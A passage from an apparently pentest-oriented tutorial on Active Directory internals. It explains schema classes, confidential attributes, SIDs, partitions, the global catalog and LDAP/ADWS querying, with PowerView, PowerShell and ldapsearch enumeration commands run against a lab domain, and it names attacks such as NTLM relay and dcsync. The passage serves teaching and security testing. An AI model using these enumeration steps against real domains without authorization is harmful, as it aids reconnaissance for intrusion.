won&#8217;t appear in the<br \/>\n<code>ObjectClass<\/code> property. For example, many of the most relevant classes when<br \/>\nperforming a pentest, like User and Group, are attached to <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/adschema\/c-securityprincipal\">Security-Principal<\/a><br \/>\nauxiliary class, the class that defines the <code>SAMAccountName<\/code> and <code>SID<\/code> properties.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:&gt; . .PowerView.ps1\nPS C:&gt; Get-NetComputer dc01 -Properties objectclass | select -ExpandProperty objectclass\ntop\nperson\norganizationalPerson\nuser\ncomputer<\/code><\/pre><figcaption>\nClasses of computer object<br \/>\n<\/figcaption><\/figure>\n<h3 id=\"properties\">\nProperties<\/h3>\n<p>As we have seen, each class can have several properties or attributes. Usually,<br \/>\nthe properties store a string value, like <code>Name<\/code> or a number like<br \/>\n<code>UserAccountControl<\/code>.<\/p>\n<p>Generally, any user of the domain can read the information of any object of the<br \/>\ndomain, with a few exceptions. The first exception is the users passwords that<br \/>\ncannot be retrieved.<\/p>\n<p>The database defines the <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-adts\/f3adda9f-89e1-4340-a3f2-1f0a6249f1f8\">UserPassword<\/a> and <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-ada3\/71e64720-be27-463f-9cc5-117f4bc849e1\">UnicodePwd<\/a>, but these properties<br \/>\ncannot be read, only written. When a <a href=\"https:\/\/docs.microsoft.com\/en-US\/troubleshoot\/windows\/win32\/change-windows-active-directory-user-password\">password change<\/a> is required, these<br \/>\nproperties can be written in order to modify the user password.<\/p>\n<p>Moreover, there are certain properties that contain sensitive data that should<br \/>\nbe only retrieved by authorized users. In order to achieve this, these property<br \/>\nare marked as <a href=\"https:\/\/docs.microsoft.com\/en-us\/troubleshoot\/windows-server\/windows-security\/mark-attribute-as-confidential\">confidential properties<\/a> in the schema (setting the <code>128<\/code><br \/>\nflag in<br \/>\n<a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/adschema\/a-searchflags\">SearchFlags<\/a><br \/>\nof the property definition)<br \/>\n. Thus, in order to read a<br \/>\nconfidential property, apart from the read rights, an user required<br \/>\n<a href=\"#rights\">CONTROL_ACCESS right<\/a> over that specific property.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:UsersAdministrator&gt; Get-ADObject -LDAPFilter \"(searchflags:1.2.840.113556.1.4.803:=128)\" -SearchBase \"CN=Schema,CN=Configuration,DC=contoso,DC=local\" | Select Name\nName\n----\nms-TPM-Owner-Information-Temp\nms-Kds-KDF-AlgorithmID\nms-Kds-KDF-Param\nms-Kds-SecretAgreement-AlgorithmID\nms-Kds-SecretAgreement-Param\nms-Kds-PublicKey-Length\nms-Kds-PrivateKey-Length\nms-Kds-RootKeyData\nms-Kds-Version\nms-Kds-DomainID\nms-Kds-UseStartTime\nms-Kds-CreateTime\nms-FVE-RecoveryPassword\nms-FVE-KeyPackage\nms-TPM-OwnerInformation\nms-DS-Transformation-Rules-Compiled\nms-PKI-Credential-Roaming-Tokens\nms-DS-Issuer-Certificates\nms-PKI-RoamingTimeStamp\nms-PKI-DPAPIMasterKeys\nms-PKI-AccountCredentials\nUnixUserPassword<\/code><\/pre><figcaption>\nGet confidential properties<br \/>\n<\/figcaption><\/figure>\n<p>Additionally, there are certain properties that require to meet certain<br \/>\nconditions before being written. This is controlled with <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/adschema\/validated-writes\">Validated Writes<\/a>, for<br \/>\nexample editing services of an account.<\/p>\n<p>Furthermore, in order to manage sets of related properties, for given<br \/>\npermissions to an user, is also possible to use <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/adschema\/property-sets\">property sets<\/a> instead of have to<br \/>\nmanage the properties individually.<\/p>\n<h3 id=\"principals\">\nPrincipals<\/h3>\n<p>One term that you should be familiar with is <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/security\/identity-protection\/access-control\/security-principals\">principal<\/a>. In Active Directory, a<br \/>\n<strong>principal is a security entity<\/strong>. The most common <strong>principals are users, groups<br \/>\nand computers<\/strong>. This terminology is also used in other areas, like <a href=\"#kerberos\">Kerberos<\/a>.<\/p>\n<h4 id=\"sid\">\nSID<\/h4>\n<p>In order to identify principals, each one is assigned a <strong>SID<\/strong> (Security<br \/>\nIdentifier). In Active Directory you can find three kind of SIDs.<\/p>\n<p>The <strong>Domain SID<\/strong> is used to identify the domain, as well as the base for SIDs of<br \/>\nthe domain principals.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:&gt; $(Get-ADDomain).DomainSID.Value\nS-1-5-21-1372086773-2238746523-2939299801<\/code><\/pre><figcaption>\nGet current domain SID<br \/>\n<\/figcaption><\/figure>\n<p>The <strong>Principal SID<\/strong> is used to identify principals. It is compose by the domain<br \/>\nSID and a principal RID (Relative Identifier).<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:&gt; $(Get-ADUser mahyar).SID.Value\nS-1-5-21-1372086773-2238746523-2939299801-1103<\/code><\/pre><figcaption>\nSID of user<br \/>\n<\/figcaption><\/figure>\n<p>In this example you can see that the user SID is the domain SID plus the 1103 RID.<\/p>\n<p>Finally, in Active Directory there are many <a href=\"https:\/\/docs.microsoft.com\/en-us\/troubleshoot\/windows-server\/identity\/security-identifiers-in-windows\">Well-known SIDs<\/a> that identify<br \/>\nabstract entities for special situations. Here are the most common ones:<\/p>\n<ul>\n<li>S-1-5-11 -&gt; <strong>Authenticated Users<\/strong>. The users logged on the system belongs to<br \/>\nthis group.<\/li>\n<li>S-1-5-10 -&gt; <strong>Principal Self<\/strong>. Used in <a href=\"#security-descriptor\">security descriptors<\/a> to reference the<br \/>\nobject itself.<\/li>\n<\/ul>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:&gt; . .PowerView.ps1\nPS C:&gt; $(Get-DomainObjectAcl mahyar)[41]\nObjectDN               : CN=mahyar,CN=Users,DC=contoso,DC=local\nObjectSID              : S-1-5-21-1372086773-2238746523-2939299801-1103\nActiveDirectoryRights  : WriteProperty\nObjectAceFlags         : ObjectAceTypePresent, InheritedObjectAceTypePresent\nObjectAceType          : ea1b7b93-5e48-46d5-bc6c-4df4fda78a35\nInheritedObjectAceType : bf967a86-0de6-11d0-a285-00aa003049e2\nBinaryLength           : 56\nAceQualifier           : AccessAllowed\nIsCallback             : False\nOpaqueLength           : 0\nAccessMask             : 32\nSecurityIdentifier     : S-1-5-10\nAceType                : AccessAllowedObject\nAceFlags               : ContainerInherit, InheritOnly, Inherited\nIsInherited            : True\nInheritanceFlags       : ContainerInherit\nPropagationFlags       : InheritOnly\nAuditFlags             : None<\/code><\/pre><figcaption>\nSelf SID (S-1-5-10) in user security descriptor<br \/>\n<\/figcaption><\/figure>\n<p>There are also some Well-know SIDs that defines the schema for built-in<br \/>\nprincipals of the domain\/forest. For example:<\/p>\n<ul>\n<li><strong>Administrator<\/strong> -&gt; S-1-5-21-domain-500<\/li>\n<li><strong>Domain Admins<\/strong> -&gt; S-1-5-21-domain-512<\/li>\n<li><strong>Domain Users<\/strong> -&gt; S-1-5-21-domain-513<\/li>\n<li><strong>Enterprise Admins<\/strong> -&gt; S-1-5-21-root domain-519<\/li>\n<\/ul>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:&gt; $(Get-ADUser Administrator).SID.Value\nS-1-5-21-1372086773-2238746523-2939299801-500<\/code><\/pre><figcaption>\nAdministrator SID<br \/>\n<\/figcaption><\/figure>\n<h3 id=\"distinguished-names\">\nDistinguished Names<\/h3>\n<p>It is also important to understand the <code>DistinguishedName<\/code> property. The<br \/>\n<code>DistinguishedName<\/code> is like a path that indicates the object position in the<br \/>\ndatabase hierarchy (similar to a file path).<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:&gt; Get-ADComputer dc01 | select -ExpandProperty DistinguishedName\nCN=DC01,OU=Domain Controllers,DC=contoso,DC=local<\/code><\/pre><figcaption>\nDistinguishedName of object<br \/>\n<\/figcaption><\/figure>\n<p>It is frequently used to identify objects in the database and to reference<br \/>\nanother objects in the database. For example, the members of a group are<br \/>\nreferenced by its <code>DistinguishedName<\/code>.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:&gt; Get-ADGroup \"Domain Admins\" -Properties member | select -ExpandProperty Member\nCN=leia,CN=Users,DC=contoso,DC=local\nCN=Administrator,CN=Users,DC=contoso,DC=local<\/code><\/pre><figcaption>\nList members of a group<br \/>\n<\/figcaption><\/figure>\n<p>The <a href=\"https:\/\/www.informit.com\/articles\/article.aspx?p=101405&amp;seqNum=7\">Distinguished Name<\/a> (DN) is compose by several parts that can be:<\/p>\n<dl>\n<dt>\nDomain Component (DC)<\/dt>\n<dd>\nIt usually identifies the domain parts of the database. For example, for<br \/>\n<code>it.domain.com<\/code> the DC part will be <code>DC=it,DC=domain,DC=com<\/code>.<\/dd>\n<dt>\n<a href=\"https:\/\/en.wikipedia.org\/wiki\/Active_Directory#Organizational_units\">Organizational Unit<\/a> (OU)<\/dt>\n<dd>\nIdentify containers that are used to group several related objects. It is<br \/>\nworth to note that, even if OUs are similar to groups, its purpose is<br \/>\ndifferent. The OUs purpose is to organize objects in the database, whereas<br \/>\nsecurity groups are used to organize permissions in the domain\/forest.<\/p>\n<blockquote><p>Sometimes, organizations maps the OUs directly to security groups in a<br \/>\nautomated way. These groups are known as <a href=\"https:\/\/en.wikipedia.org\/wiki\/Active_Directory#Shadow_groups\">shadow groups<\/a>.<\/p><\/blockquote>\n<p>Organize objects in OUs is useful since you can apply the a <a href=\"#group-policy\">GPO<\/a> to the OU that<br \/>\naffect to all its objects. This is not possible for members of a group.<\/dd>\n<dt>\nCommon Name (CN)<\/dt>\n<dd>\nThe name that identifies the object. Sometimes you will see more than one CN<br \/>\non a path, because some objects also acts as containers. For example, in<br \/>\n<code>CN=Administrator,CN=Users,DC=contoso,DC=local<\/code>, the <code>CN=Users<\/code> identifies the<br \/>\nUsers container.<\/dd>\n<\/dl>\n<h3 id=\"partitions\">\nPartitions<\/h3>\n<p>Apart from OUs and containers, the database is also divided by partitions. Each<br \/>\ndatabase has the following partitions:<\/p>\n<ul>\n<li><strong>Domain<\/strong>: Stores the domain objects.<\/li>\n<li><strong>Configuration<\/strong>: Stores configuration of the domain, such as the<br \/>\n<code>HOST<\/code> service alias or <code>Well-known<\/code> SIDs that we have seen before.<\/li>\n<li><strong>Schema<\/strong>: Stores the definition of the classes and properties used<br \/>\nby the database.<\/li>\n<li><strong>Domain DNS Zones<\/strong>: Stores the DNS records of the domain and subdomains.<\/li>\n<li><strong>Forest DNS Zones<\/strong>: Stores the DNS records of the rest of the forest,<br \/>\nincluding parent domains.<\/li>\n<\/ul>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:&gt; Import-Module ActiveDirectory\nPS C:&gt; cd AD:\nPS AD:&gt; ls\nName                 ObjectClass          DistinguishedName\n----                 -----------          -----------------\ncontoso              domainDNS            DC=contoso,DC=local\nConfiguration        configuration        CN=Configuration,DC=contoso,DC=local\nSchema               dMD                  CN=Schema,CN=Configuration,DC=contoso,DC=local\nDomainDnsZones       domainDNS            DC=DomainDnsZones,DC=contoso,DC=local\nForestDnsZones       domainDNS            DC=ForestDnsZones,DC=contoso,DC=local<\/code><\/pre><figcaption>\nList database partitions<br \/>\n<\/figcaption><\/figure>\n<blockquote><p>You need to load the ActiveDirectory Powershell module in order to access to the<br \/>\n<code>AD:<\/code> drive with Powershell.<\/p><\/blockquote>\n<p>Usually you will only use the domain partition, but is important to know how the<br \/>\ndatabase is organized in case you require other data that is not in the domain<br \/>\npartition.<\/p>\n<p>A tool will search in the domain partition, so if you are searching objects<br \/>\nthat are in order partition, you will to specify the partition<br \/>\n<code>DistinguishedName<\/code> as search base.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:&gt; Get-ADObject -LDAPFilter \"(objectclass=site)\" -SearchBase \"CN=Configuration,$((Get-ADDomain).DistinguishedName)\" | select name\nname\n----\nDefault-First-Site-Name\nmysite<\/code><\/pre><figcaption>\nSearch sites in configuration partition<br \/>\n<\/figcaption><\/figure>\n<p>For example, tools like <a href=\"https:\/\/github.com\/dirkjanm\/adidnsdump\">adidnsdump<\/a> or <a href=\"https:\/\/github.com\/mmessano\/PowerShell\/blob\/master\/dns-dump.ps1\">dns-dump<\/a> use the DNS Zones partitions in<br \/>\norder to retrieve all the DNS information of the domain.<\/p>\n<h3 id=\"global-catalog\">\nGlobal Catalog<\/h3>\n<p>The domain database contains all the objects of the current domain, but in order<br \/>\nto speed searches for objects in other domains of the forest, some Domain<br \/>\nControllers also contains a subset of objects of other domains.<\/p>\n<p>These Domains Controllers can be called <a href=\"https:\/\/docs.microsoft.com\/pt-pt\/previous-versions\/windows\/server\/cc737410(v=ws.10)#domain-controller-and-global-catalog-server-structure\">Global Catalogs<\/a> and contains extra<br \/>\nread-only partitions with objects of other domains, for which only a subset of<br \/>\nproperties are stored, usually the most used ones. For example, if you need only<br \/>\nto consult the name of an user in other domain, then the global catalog will<br \/>\nallow you to retrieve it without requiring to query the other domain Domain<br \/>\nController.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:&gt; Get-ADForest |select -ExpandProperty GlobalCatalogs\ndc01.poke.mon\nitdc01.it.poke.mon<\/code><\/pre><figcaption>\nList the Global Catalogs of the domain.<br \/>\n<\/figcaption><\/figure>\n<p>In case you want to consult the Global Catalog, you need to an specify a<br \/>\ndifferent port for the connection since the global catalog service listen in the<br \/>\nport 3268 (LDAP).<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:&gt; Get-ADUser -Server \"poke.mon:3268\" -Filter * | select DistinguishedName\nDistinguishedName\n-----------------\nCN=Administrator,CN=Users,DC=poke,DC=mon\nCN=Guest,CN=Users,DC=poke,DC=mon\nCN=krbtgt,CN=Users,DC=poke,DC=mon\nCN=CONTOSO$,CN=Users,DC=poke,DC=mon\nCN=pikachu,CN=Users,DC=poke,DC=mon\nCN=ITPOKEMON$,CN=Users,DC=poke,DC=mon\nCN=Administrator,CN=Users,DC=it,DC=poke,DC=mon\nCN=Guest,CN=Users,DC=it,DC=poke,DC=mon\nCN=krbtgt,CN=Users,DC=it,DC=poke,DC=mon\nCN=POKEMON$,CN=Users,DC=it,DC=poke,DC=mon\nCN=porygon,CN=Users,DC=it,DC=poke,DC=mon<\/code><\/pre><figcaption>\nSearching in the global catalog<br \/>\n<\/figcaption><\/figure>\n<h3 id=\"how-to-query-the-database\">\nHow to query the database?<\/h3>\n<p>In order to interact with the database data, the Domain Controllers gives you<br \/>\nseveral options that are translate in different protocols\/services they<br \/>\nsupport.<\/p>\n<h4 id=\"ldap\">\nLDAP<\/h4>\n<p>Probably, the first one that should be mentioned is <a href=\"https:\/\/en.wikipedia.org\/wiki\/Lightweight_Directory_Access_Protocol\">LDAP<\/a> (Lightweight Directory<br \/>\nAccess Protocol) protocol. With LDAP is possible to access to the domain<br \/>\ndatabase as well as the <a href=\"#global-catalog\">Global Catalog<\/a>.<\/p>\n<figure>\n<pre>                      .-------------\n                      |\n                    .---\n           .--TCP--&gt;| 389 LDAP\n           |        '---\n           |          |\n           |        .---\n           |--SSL--&gt;| 636 LDAPS\n .------.  |        '---\n | LDAP |--|          |\n '------'  |        .---\n           |--TCP--&gt;| 3268 LDAP Global Catalog\n           |        '---\n           |          |\n           |        .---\n           '--SSL--&gt;| 3269 LDAPS Global Catalog \n                    '---\n                      |\n                      '-------------\n<\/pre><figcaption>\nLDAP ports<br \/>\n<\/figcaption><\/figure>\n<p>LDAP defines a query syntax that allows you to filter the objects that you want<br \/>\nretrieve\/edit of the database. You can filter objects based on its properties.<br \/>\nFor example, to retrieve the groups of the domain with members you can use the<br \/>\nfollowing query <code>(&amp;(objectsclass=group)(members=*))<\/code>.<\/p>\n<p>Apart from filters, LDAP also allows you to specify the properties you would<br \/>\nlike to retrieve for each object, for example the name. Be sure to check the<br \/>\n<a href=\"https:\/\/ldapwiki.com\/\">LDAP wiki<\/a> if you need examples of retrieving information from Active Directory.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"bash\">~$ ldapsearch -H ldap:\/\/192.168.100.2 -x -LLL -W -D \"mahyar@contoso.local\" -b \"dc=contoso,dc=local\" \"(&amp;(objectclass=group)(member=*))\" \"samaccountname\"\nEnter LDAP Password: \ndn: CN=Administrators,CN=Builtin,DC=contoso,DC=local\nsAMAccountName: Administrators\ndn: CN=Users,CN=Builtin,DC=contoso,DC=local\nsAMAccountName: Users\ndn: CN=Guests,CN=Builtin,DC=contoso,DC=local\nsAMAccountName: Guests\ndn: CN=Remote Desktop Users,CN=Builtin,DC=contoso,DC=local\nsAMAccountName: Remote Desktop Users\ndn: CN=IIS_IUSRS,CN=Builtin,DC=contoso,DC=local\nsAMAccountName: IIS_IUSRS\ndn: CN=Schema Admins,CN=Users,DC=contoso,DC=local\nsAMAccountName: Schema Admins\ndn: CN=Enterprise Admins,CN=Users,DC=contoso,DC=local\nsAMAccountName: Enterprise Admins\ndn: CN=Domain Admins,CN=Users,DC=contoso,DC=local\nsAMAccountName: Domain Admins\ndn: CN=Group Policy Creator Owners,CN=Users,DC=contoso,DC=local\nsAMAccountName: Group Policy Creator Owners\ndn: CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=contoso,DC=local\nsAMAccountName: Pre-Windows 2000 Compatible Access\ndn: CN=Windows Authorization Access Group,CN=Builtin,DC=contoso,DC=local\nsAMAccountName: Windows Authorization Access Group\ndn: CN=Denied RODC Password Replication Group,CN=Users,DC=contoso,DC=local\nsAMAccountName: Denied RODC Password Replication Group\n# refldap:\/\/ForestDnsZones.contoso.local\/DC=ForestDnsZones,DC=contoso,DC=local\n# refldap:\/\/DomainDnsZones.contoso.local\/DC=DomainDnsZones,DC=contoso,DC=local\n# refldap:\/\/contoso.local\/CN=Configuration,DC=contoso,DC=local<\/code><\/pre><figcaption>\nDomain groups with members<br \/>\n<\/figcaption><\/figure>\n<p>Almost any object and property of the Active Directory database can be retrieved<br \/>\nby using LDAP. The exception are those attributes that are highly sensitive,<br \/>\nsuch as users credentials.<\/p>\n<p>LDAP is used by many Windows tools like <a href=\"https:\/\/github.com\/BC-SECURITY\/Empire\/blob\/master\/data\/module_source\/situational_awareness\/network\/powerview.ps1\">Powerview<\/a> or <a href=\"https:\/\/docs.microsoft.com\/en-us\/sysinternals\/downloads\/adexplorer\">ADExplorer<\/a>. In case you<br \/>\ndon&#8217;t have tools, you can always use <a href=\"https:\/\/docs.microsoft.com\/en-us\/dotnet\/api\/system.directoryservices?view=net-5.0][.NET objects related to LDAP]] to make LDAP queries, youcan check DomainSearcher as example\">Powershell to query LDAP<\/a> by using .NET.<\/p>\n<p>On the other hand, from Linux, you can use <a href=\"https:\/\/linux.die.net\/man\/1\/ldapsearch\">ldapsearch<\/a> and <a href=\"https:\/\/linux.die.net\/man\/1\/ldapmodify\">ldapmodify<\/a> tools.<\/p>\n<p>When you need to retrieve information from the Active Directory, like<br \/>\nenumerating users or something like that, LDAP should the first thing to come to<br \/>\nyour mind. But remember that LDAP also allows you to modify objects, so if you<br \/>\nneed to add an user to a group or stuff like that, well.. this is a way.<\/p>\n<h4 id=\"adws\">\nADWS<\/h4>\n<p>As alternative to LDAP, <a href=\"https:\/\/docs.microsoft.com\/en-us\/previous-versions\/windows\/it-pro\/windows-server-2008-R2-and-2008\/dd391908(v=ws.10)?redirectedfrom=MSDN\">in Windows Server 2008 R2<\/a>, Microsoft introduced ADWS<br \/>\n(Active Directory Web Services), a protocol to query and manipulate domain<br \/>\nobjects based on <a href=\"https:\/\/en.wikipedia.org\/wiki\/SOAP\">SOAP<\/a> messages.<\/p>\n<p>It is <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-wsds\/2ded136c-2fe2-4f7d-8d09-a7118815c6bb\">compatible with LDAP filters<\/a> so it is possible to perform very specific<br \/>\nqueries and retrieve only the required properties. In fact, when ADWS is used,<br \/>\ninternally the DC perform LDAP requests to retrieve the results.<\/p>\n<figure>\n<pre>                              .---------------------------------------\n                              |          Domain Controller\n                            ,---\n                            | 389 (Domain) &lt;------------.\n                            '---                        |    .------.\n                              |                         |----| LDAP |\n                            .---                        |    '------'\n                            | 3268 (Global Catalog) &lt;---'       |\n                            '---                                ^\n                              |                                 |\n .------.     .------.      .---                                |\n | ADWS |&gt;---&gt;| SOAP |&gt;----&gt;| 9389  &gt;-----------------&gt;---------'\n '------'     '------'      '---\n                              |\n                              '---------------------------------------\n<\/pre><figcaption>\nADWS related ports and protocols<br \/>\n<\/figcaption><\/figure>\n<p>ADWS is the protocol used by the <a href=\"https:\/\/docs.microsoft.com\/en-us\/powershell\/module\/addsadministration\/?view=windowsserver2019-ps\">ActiveDirectory Powershell module<\/a>.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:UsersAdministrator&gt; Get-ADUser -Filter * | select name\nname\n----\nAdministrator\nGuest\nkrbtgt\nmahyar\nHan\nPOKEMON$\nleia\nluke<\/code><\/pre><figcaption>\nList users using ADWS<br \/>\n<\/figcaption><\/figure>\n<h4 id=\"other-protocols\">\nOther protocols<\/h4>\n<p>Apart from LDAP and ADWS, there are many other protocols that allow to retrieve<br \/>\ninformation from the database. Although the rest of protocols, generally only<br \/>\nwork with a subset with the database.<\/p>\n<p>The <a href=\"https:\/\/en.wikipedia.org\/wiki\/Domain_Name_System\">DNS<\/a> protocol, used mostly to resolve the IP address of computers, also<br \/>\nretrieves its information from the database.<\/p>\n<p>The <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/MS-SAMR\/4df07fab-1bbc-452f-8e92-7853a3c7e380\">SAMR<\/a> (Security Account Manager Remote) protocol allows to query and edit<br \/>\nbasic info of the users and groups. Is the one used by commands such as<br \/>\n<code>net user \/domain<\/code>.<\/p>\n<p>The <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-drsr\/f977faaa-673e-4f66-b9bf-48c640241d47\">DRSR<\/a> (Directory Replication Service Remote) protocol is the one used by the<br \/>\nDomain Controllers to synchronize the database. Through this protocol even the<br \/>\nuser credentials can be retrieved (if you have enough permissions) and is the<br \/>\none used to perform the <a href=\"https:\/\/adsecurity.org\/?p=1729\">dcsync attack<\/a>.<\/p>\n<p>The <a href=\"https:\/\/www.tarlogic.com\/en\/blog\/how-kerberos-works\/\">Kerberos<\/a> authentication protocol also uses the database to generate the<br \/>\nrequired tickets based on the requested service. Additionally, the kpasswd service<br \/>\n(port 464) is used by Kerberos to change the user password.<\/p>\n<p>The <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-nrpc\/ff8f970f-3e37-40f7-bd4b-af7336e4792f\">Netlogon<\/a> protocol is used by computers in order to authenticate the domain<br \/>\nusers. For example, is used by NTLM authentication. Also, this was the protocol<br \/>\naffected by the <a href=\"https:\/\/www.secura.com\/blog\/zero-logon\">Zerologon<\/a> vulnerability.<\/p>\n<p>There are many other protocols that interacts with the database, but these short<br \/>\nlist should give you the idea of there are many different ways to access to the<br \/>\nsame data.<\/p>\n<h2 id=\"security\">\nSecurity<\/h2>\n<p>Now that we have a more clear idea of the Active Directory elements, let&#8217;s talk<br \/>\nabout the topics that are more related with security in Active Directory.<br \/>\nSecurity is based on the following pillars:<\/p>\n<dl>\n<dt>\nAddress resolution<\/dt>\n<dd>The ability for users and machines to resolve addresses of<br \/>\nanother computers in order to establish connections with them. If an attacker<br \/>\ncan control the address resolutions, then she could perform Person in The Middle<br \/>\nattacks or make that users send their credentials to attacker controlled<br \/>\nmachines.<\/dd>\n<dt>\nAuthentication<\/dt>\n<dd>The ability to identify the user that is accessing to a<br \/>\ncomputer of service. If an attacker can get the user credentials or<br \/>\nauthentication is bypassed, then she will be able to identify herself as the<br \/>\nuser and perform actions on its behalf.<\/dd>\n<dt>\nAuthorization<\/dt>\n<dd>The ability to identify what actions can be performed by an<br \/>\nuser. If the user permissions are incorrectly configured, she may be able to<br \/>\nperform privileged actions.<\/dd>\n<\/dl>\n<p>Let&#8217;s discuss about these fundamentals and how they are implemented in Active<br \/>\nDirectory.<\/p>\n<h2 id=\"address-resolution\">\nAddress resolution<\/h2>\n<p>From a security perspective, the resolution of address is quite relevant, since if<br \/>\na user\/program can be tricked into connecting to an erroneous machine, therefore<br \/>\nmany attacks can be performed like:<\/p>\n<ul>\n<li>Person-in-The-Middle (PitM) : This allows an attacker to intercept the<br \/>\ncommunications of the victim and read\/manipulate information (if it is not<br \/>\nproperly encrypted\/signed) sent or received by the victim.<\/li>\n<li><a href=\"https:\/\/en.hackndo.com\/ntlm-relay\/\">NTLM Relay<\/a>: An attacker can use an <a href=\"#ntlm\">NTLM<\/a> authentication from the victim and<br \/>\nredirect it to a desired server in order to get access to it.<\/li>\n<li><a href=\"https:\/\/0xdf.gitlab.io\/2019\/01\/13\/getting-net-ntlm-hases-from-windows.html\">NTLM crack<\/a>: Even if you are not able to relay the <a href=\"#NTLM\">NTLM<\/a> authentication, you<br \/>\ncan try to crack the NTLM hash and recover the user password.<\/li>\n<\/ul>\n<p>But, what addresses need to be resolved? There are three types of addresses that<br \/>\nare used by machines:<\/p>\n<dl>\n<dt>\nMAC address<\/dt>\n<dd>\nThe <a href=\"https:\/\/en.wikipedia.org\/wiki\/MAC_address\">MAC<\/a> (Media Control Access) is the address that uniquely identifies each<br \/>\ncomputer in the world (concretely each computer network card). The MAC address<br \/>\nis the one used to send messages in the Ethernet protocol, in the Link layer,<br \/>\nthat <strong>communicates the computers in the same network<\/strong>. Each network card has<br \/>\nan associated unique MAC address that allows to identify it in a network.<br \/>\nUsually the MAC address remains constant, but <a href=\"https:\/\/www.howtogeek.com\/192173\/HOW-AND-WHY-TO-CHANGE-YOUR-MAC-ADDRESS-ON-WINDOWS-LINUX-AND-MAC\/\">it can be changed<\/a>.<\/p>\n<p>A MAC address is composed by 6 bytes like <code>01:df:67:89:a4:87<\/code>, where the first<br \/>\n3 bytes indicates the <a href=\"https:\/\/gist.github.com\/aallan\/b4bb86db86079509e6159810ae9bd3e4\">MAC vendor<\/a> and the last 3 are an unique identification<br \/>\nfor each network card of that vendor.<\/dd>\n<dt>\nIP address<\/dt>\n<dd>\nThe <a href=\"https:\/\/en.wikipedia.org\/wiki\/IP_address\">IP address<\/a> is the one used by the IP protocol, in the Internet layer, that<br \/>\n<strong>allows communication between computer of different networks<\/strong>. Unlike MAC<br \/>\naddresses, the IPs are not configured in the network cards but need to be set<br \/>\nby an external entity, by using a protocol like <a href=\"#dhcp\">DHCP<\/a> or setting an static IP<br \/>\naddress. So a computer can change its IP address at any time.<\/p>\n<p>While traversing the networks, the IP addresses need to be mapped to MAC<br \/>\naddresses to allow communication inside of the different networks that<br \/>\nroute the packets. For this purpose, the <a href=\"#arp\">ARP<\/a> protocol is used.<\/p>\n<p>There are two versions of IP addresses, IPv4, that are composed by 4 bytes<br \/>\n(32 bits) like <code>23.78.167.99<\/code>,and IPv6, composed by 16 bytes like<br \/>\n<code>2001:db8:85a3:8d3:1319:8a2e:370:7348<\/code>. Usually IPv4 is used.<\/dd>\n<dt>\nHostnames<\/dt>\n<dd>\nSince IP addresses are hard to remember, computers are also assigned a name<br \/>\nthat is more human-friendly like <code>pepe-machine<\/code>, known as hostname. However,<br \/>\nsince computers need the IP address to communicate, it is possible to<br \/>\nassociate the hostnames to IP addresses by using protocols like <a href=\"#dns\">DNS<\/a>, <a href=\"#netbios\">NetBIOS<\/a>,<br \/>\n<a href=\"#llmnr\">LLMNR<\/a> or <a href=\"#mdns\">mDNS<\/a>.<\/dd>\n<\/dl>\n<p>Therefore, the following processes are vital for a computer to being able to<br \/>\nfound the correct address to communicate:<\/p>\n<dl>\n<dt>\nHostname-IP resolution<\/dt>\n<dd>\nThe computers need to be able to map the hostname of a machine to its correct<br \/>\nIP address. For this purpose there are two strategies:<\/p>\n<ol>\n<li>Asking to a central server for the hostname resolution, which is the<br \/>\napproach used by <a href=\"#DNS\">DNS<\/a>. If an attacker can become the central server, it can<br \/>\nmap the hostnames to choose addresses.<\/li>\n<li>Sending a broadcast request with the hostname to peers asking to the<br \/>\ncomputer with the given hostname to identify itself. This 